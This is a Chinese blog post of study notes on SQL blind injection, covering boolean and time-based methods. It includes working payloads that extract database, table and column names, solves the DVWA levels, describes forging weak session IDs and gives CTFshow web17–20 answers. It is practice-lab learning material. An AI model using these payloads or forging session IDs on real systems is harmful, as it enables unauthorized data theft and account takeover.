寒假学习笔记4

本文深入探讨了SQL注入中的盲注技术,包括布尔盲注和基于时间的盲注,介绍了如何利用函数如length(), substr()和sleep()等进行数据猜测和注入。同时,列举了多个实战案例,展示了如何通过盲注探测数据库名称、表名、列名及数据内容。此外,还提及了会话安全性问题,如弱会话ID的潜在风险。
摘要由CSDN通过智能技术生成

SQL Ingection(Blind)


SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。

盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。盲注一般分为布尔盲注和基于时间的盲注和报错的盲注。

布尔盲注

Length()函数 返回字符串的长度
Substr()截取字符串
Ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
当然如果上面的函数被禁用,也有相应的函数替换。可百度

布尔型:页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据http://127.0.0.1/Less-8/?id=1'and (length(database()))>10 --+
当前数据库database()的长度大于10,返回true页面,否则FALSE页面

substr用法

SUBSTR(str,pos,len): 从pos开始的位置,截取len个字符

substr(string ,1,3) :取string左边第1位置起,3字长的字符串。
所以结果为: str
substr(string, -1,3):取string右边第1位置起,3字长的字符串。显然右边第一位置起往右不够3字长。结果只能是: g
substr(string, -3,3):取string右边第3位置起,3字长的字符串。
结果为: ing
SUBSTR(str,pos): pos开始的位置,一直截取到最后

substr(string ,4) : 从右第4位置截取到最后
结果是: ing
 

SQL时间型注入

判断时间型注入时,只要让sleep()函数执行成功,那么就可以根据回显时间判断是否为时间型注入

在时间型注入中,常常用到if()函数,if(语句一,语句2,语句3),如果语句一为真,执行语句2,否则执行语句3

几个常用的判断函数,substring(),length,user(),database(),下面是几个判断时间型注入的常见语句

    ' and if(1=0,1, sleep(10)) --+

    " and if(1=0,1, sleep(10)) --+

    ) and if(1=0,1, sleep(10)) --+

    ') and if(1=0,1, sleep(10)) --+

    ") and if(1=0,1, sleep(10)) --+

 type=sleep(3)--+  这里有个参数type,判断出存在时间注入,那么接下来我们就可以和盲注型注入差不多进行注入,在进行字符判断时,可以使用二分法加快速率

1.  判断数据库长度

type=if(length(database())=12,sleep(2),100)--+

 2.    判断数据库名字

type=if(substring(database(),1,1)='p',111,sleep(3))--+

3.  判断表名

type=if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1='a'),11111,sleep(1))--+

4.    判断列名

type=if(substring((select column_name from information_schema.columns where table_name='flag' and table_schema='database()' limit

0,1),1,1='a'),11111,sleep(1))--+

5.    判断具体字段内容

type=if(substring((select flag from pentesterlab.flag limit 0,1),1,1='a'),sleep(3),111111) --+ 

步骤:

1.判断是否存在注入,注入是字符型还是数字型

2.猜解当前数据库名

3.猜解数据库中的表名

4.猜解表中的字段名

5.猜解数据

 Low

布尔盲注

输入1' and 1=1 #,显示存在

 

 所以存在字符型注入

猜解数据库名 

输入1’ and length(database())=4 # 

 

说明长度为4

然后采用二分法猜解数据库的名字,可以用if函数,这里用的ASCII值,道理都是一样的:

1’ and ascii(substr(databse(),1,1))=100 #

 

第一个字母的ascll码是100,也是d,以此类推得出数据库名为dvwa

猜解表名 

输入1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 #

 

说明有 两个表

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在,说明第一个表的长度是9.

 

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #显示存在,说明第一个字母是g。

 

再重复步骤猜解,即可猜解出两个表名(guestbook、users)。

然后再继续猜解字段名和字段中的数据

Medium

源码分析 

 id = $id;”;判断为数字型注入

可以通过burpsuite抓包改包

 基于布尔盲注

余下操作与low级别类似,但是该报位置不同,结尾不用加#

High 

 

源码分析

使用limit限制,但是可以通过#将其注释,存在字符型注入漏洞

基于布尔型盲注

输入1' and 1=1 #

 剩下的就和Low级别一样

 Weak Session IDs(弱会话)

用户访问服务器的时候,一般服务器都会分配一个身份证 session id 给用户,用于标识。一个SessionID就对应一个客户端,用户拿到session id 后就会保存到 cookies 上,之后只要拿着 cookies 再访问服务器,服务器就知道你是谁了。
但是 session id 过于简单就会容易被人伪造,根本都不需要知道用户的密码就能登录服务器了。
 

low

源码审计

源码如下,setcookie() 函数向客户端发送一个 HTTP cookie。如果用户 SESSION 中的 last_session_id 不存在就设为 0,生成 cookie 时就在 cookies 上 dvwaSessionId + 1。这种生成方式过分简单了,而且非常容易被伪造。

抓包 得到cookie

 

 抓包重放,可以观察到,每重放一次,dvwasesion都会增加1

Medium

抓包得到时间戳 

 利用转换器进行转换

 伪造cookie 设置时间戳,可知诱骗受害者在某个时间点基进行点击 

CTFshow

web17

访问 url/backup.sql 

得到flag

 *.sql文件是mysql数据库导出的备份文件;

web18 

按ctrl+u查看源码

查看js文件 得到Unicode编码

 在线编码转换 得到提示 访问110.php

 

 得到flag

web19 

 

根据提示,查看源码

 

得到用户名和密码 登录却发现不正确

利用burpsuit抓包 绕过前端加密 得到falg

web20

 

格式是Microsoft Access软件使用的一种存储格式,因其对数据操作的方便性,常用在一些中小型程序中。

mdb文件一般用ACCESS就能直接打开,当然也可以用办公软件excel来对打开。

mdb是数据库文件,一些数据库软件也能打开mdb格式文件的。一般都做是程序用的,先在电脑上安装SQLSERVER数据库软件,然后再附加一下就可以打开。

我们直接访问url/db/db.mdb

下载文件通过txt打开,得到flag
 

 

 得到flag

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值